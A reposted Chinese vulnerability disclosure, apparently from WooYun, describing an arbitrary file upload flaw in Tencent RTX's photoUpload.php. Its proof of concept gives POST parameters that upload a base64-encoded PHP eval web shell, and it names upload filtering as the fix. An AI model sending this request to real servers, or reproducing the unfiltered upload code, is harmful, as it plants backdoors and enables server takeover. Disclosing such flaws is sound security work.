腾讯RTX上传任意文件及修复 - 网站安全

腾讯RTX上传任意文件及修复 - 网站安全 - 自学p

来源：自学PHP网时间：2015-04-17 13:03 作者：阅读:次

[导读] 安装RTX后打开IP:8012网址腾讯RTX存在UserPhoto/photoUpload.php任意文件上传漏洞详细说明：简单的一个post表单即可上传$user_account = $_POST[#39;user_account#39;];$file_name = $_POST[file_name];......

安装RTX后打开IP:8012网址

腾讯RTX存在UserPhoto/photoUpload.php任意文件上传漏洞

详细说明：

简单的一个post表单即可上传
$user_account = $_POST['user_account'];
$file_name = $_POST["file_name"];
$file_data = $_POST["file_data"];
无任何过滤
漏洞证明：

user_account=1000
file_name=s.php
file_data=PD9waHAgZXZhbCgkX1BPU1Rbc2JdKT8+
file_data为base64_encode数据
post提交后UserPhoto目录下生成PhotoFiles/s.php
需要extension=php_mbstring.dll开启及php4

www.2cto.com
修复方案：

上传过滤

作者小恒@乌云

easySite内容管理系统FCKeditor上传任意类型文件及修

Con-IMedia SQL注射缺陷及修复 - 网站安全 - 自学ph

子栏目

腾讯RTX上传任意文件及修复 - 网站安全 - 自学p

最新评论

添加评论

更多文章推荐

添加评论